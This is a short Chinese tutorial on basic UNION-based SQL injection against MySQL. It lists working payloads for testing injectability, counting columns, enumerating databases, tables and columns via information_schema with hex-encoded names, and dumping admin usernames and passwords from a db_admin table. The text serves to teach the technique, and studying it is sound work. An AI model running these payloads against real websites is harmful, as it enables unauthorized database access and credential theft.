SQL注入基础

判断是否可以注入

  • and 1=1 正常运行
  • and 1=2 产生错误

表明可以进行注入。

判断字段数

  • order by [int] 试出显示的表一共有几个字段

判断第几列能显示

  • and 1=2 union select 1,2,3,4......n

and 1=2是为了把之前的查询报错不显示;这里的n是字段总数;union select 1,2,3,4......n是连接查询,作用是为上述的每一列标号,查询后显示几就说明第几列能显示。

判断版本信息

  • and 1=2 union select 1,2,version(),4,5,6,7

在能显示的一列查询version


MySQL基本知识

  • MySQL中,名为information_schema的数据库存放着与此数据库服务器相关的很多信息。其中:
    • SCHEMATA中存放有此数据库服务器所有的数据库名称
    • TABLES中有所有数据库的所有表的名称
    • COLUMNS中有所有数据库的有所表的所有列的名称

所以可以从information_schema获取到想要的列的名称。


获取数据库名

  • and 1=2 union select 1,2,SCHEMA_NAME,4,5,6,7 from information_schema.SCHEMATA limit 0,1

information_schema.SCHEMATA表中查询SCHEMA_NAME列,即数据库名。limit [int],1表示每次显示一个。一次一次地查,查到想要的数据库名为止。

获取表名

  • and 1=2 union select 1,2,TABLE_NAME,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x756661357A613673356B5F64617461 limit 0,1

information_schema.TABLES表中查询TABLE_NAME列,注意条件语句中TABLE_SCHEMA因为是在url中表示,所以要转换成16进制数。

  • and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 获取当前数据库下全部表

获取列名

  • and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name=0x75736572 limit 1,1
  • and 1=2 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_name=0x64625f61646d696e 获取指定表的所有列

获取数据

  • and 1=2 union select 1,2,3,4,5,group_concat(adminUserName, adminPassWord),7 from db_admin

获取指定表的数据

Comments
Write a Comment